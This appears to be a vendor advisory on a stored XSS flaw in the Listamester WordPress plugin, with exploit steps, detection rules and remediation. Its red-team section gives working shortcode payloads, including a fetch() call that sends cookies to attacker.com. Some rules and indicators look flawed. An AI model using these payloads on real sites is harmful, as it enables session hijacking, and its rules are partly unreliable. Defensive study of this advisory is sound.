CVE-2024-13659

Executive Summary

CVE-2024-13659 is a Stored Cross-Site Scripting (XSS) vulnerability in the Listamester plugin for WordPress, affecting all versions up to and including 2.3.4. The flaw resides in the plugin's listamester shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts into pages. When a user visits an injected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and is currently unpatched. Note: CVE-2025-24678 is a duplicate of this CVE.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or the WordPress core itself. The attack vector relies on the plugin's shortcode handling, which is a common WordPress feature for embedding dynamic content.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs contributor-level access.
• User Interaction: None (UI:N) – no user action needed for injection.
• Scope: Changed (S:C) – impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes it a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the listamester shortcode, which is used to display lists or data from the Listamester service. The shortcode accepts user-defined attributes (e.g., id, category, style). Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript into these attributes.

Attack Flow:

1. An authenticated user with contributor-level access or higher creates or edits a WordPress post/page.
2. The attacker inserts the [listamester] shortcode with a crafted attribute, e.g., [listamester id="1\" onmouseover=\"alert('XSS')\""].
3. The plugin processes the shortcode without properly escaping the attribute value, resulting in the injection of an event handler.
4. When any user (including administrators) views the page, the injected script executes in their browser.

Root Cause: The plugin uses add_shortcode() and likely outputs attributes directly via echo or printf without using WordPress's escaping functions like esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (listamester.php):

function listamester_shortcode($atts) {
    $id = $atts['id'];
    echo "<div class='listamester' data-id='$id'>";
    // ... rest of the code
}

Patched Code (Hypothetical):

function listamester_shortcode($atts) {
    $id = esc_attr($atts['id']);
    echo "<div class='listamester' data-id='" . esc_attr($id) . "'>";
    // ... rest of the code
}

The fix involves using esc_attr() to escape attribute values before outputting them in HTML attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Listamester plugin <= 2.3.4.
• Authenticated user with contributor-level access.

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Switch to the Text/HTML editor.
4. Insert the following shortcode:

   [listamester id="1\" onmouseover=\"alert(document.cookie)\""]
   

5. Publish or update the post.
6. When any user hovers over the injected element, the JavaScript executes.

Alternative Payload (for session hijacking):

[listamester id="1\" onfocus=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\" autofocus=\"true\""]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing the [listamester] shortcode with unusual attribute patterns (e.g., quotes, event handlers).
• Use a Web Application Firewall (WAF) to block requests with suspicious shortcode attributes.

Hardening:

• Disable the Listamester plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/listamester/listamester.php (version <= 2.3.4)
• Shortcode Pattern: [listamester id="..."] with embedded event handlers (e.g., onmouseover, onfocus, onclick).
• Network: Outbound requests to attacker-controlled domains from the WordPress server (if payloads exfiltrate data).
• Logs: WordPress audit logs showing post creation/editing by contributors with shortcode usage.

Detection Engineering

YARA Rule

rule CVE_2024_13659_Listamester_XSS {
    meta:
        description = "Detects Listamester plugin files with vulnerable shortcode handling"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13659"
    strings:
        $vuln_func = /add_shortcode\s*\(\s*['\"]listamester['\"]\s*,/
        $unsafe_output = /echo\s+.*\$atts\[/
    condition:
        $vuln_func and $unsafe_output
}

Sigma Rule

title: CVE-2024-13659 - Stored XSS via Listamester Shortcode
id: 8a3f7c2e-1b4d-4f5a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects posts containing the Listamester shortcode with suspicious attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - "[listamester"
            - "onmouseover"
            - "onfocus"
            - "onclick"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13659 - Listamester Stored XSS Attempt"; flow:to_server,established; content:"[listamester"; http_uri; content:"onmouseover|20|"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and uninstall Listamester until a patch is released.
2. Audit existing content: Scan all posts/pages for the [listamester] shortcode and remove any suspicious instances.
3. Restrict user roles: Limit contributor-level access to only trusted users.

Long-term Fix:

• Monitor the plugin's official page for updates. If no patch is provided, consider replacing the plugin with an alternative.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
• Enforce Content Security Policy (CSP) headers to prevent execution of inline scripts.

Workaround:

• If the plugin is critical, manually patch the code by adding esc_attr() to all shortcode attribute outputs (see Vulnerable vs. Patched Code section).

Valters IT
Securing Digital Frontiers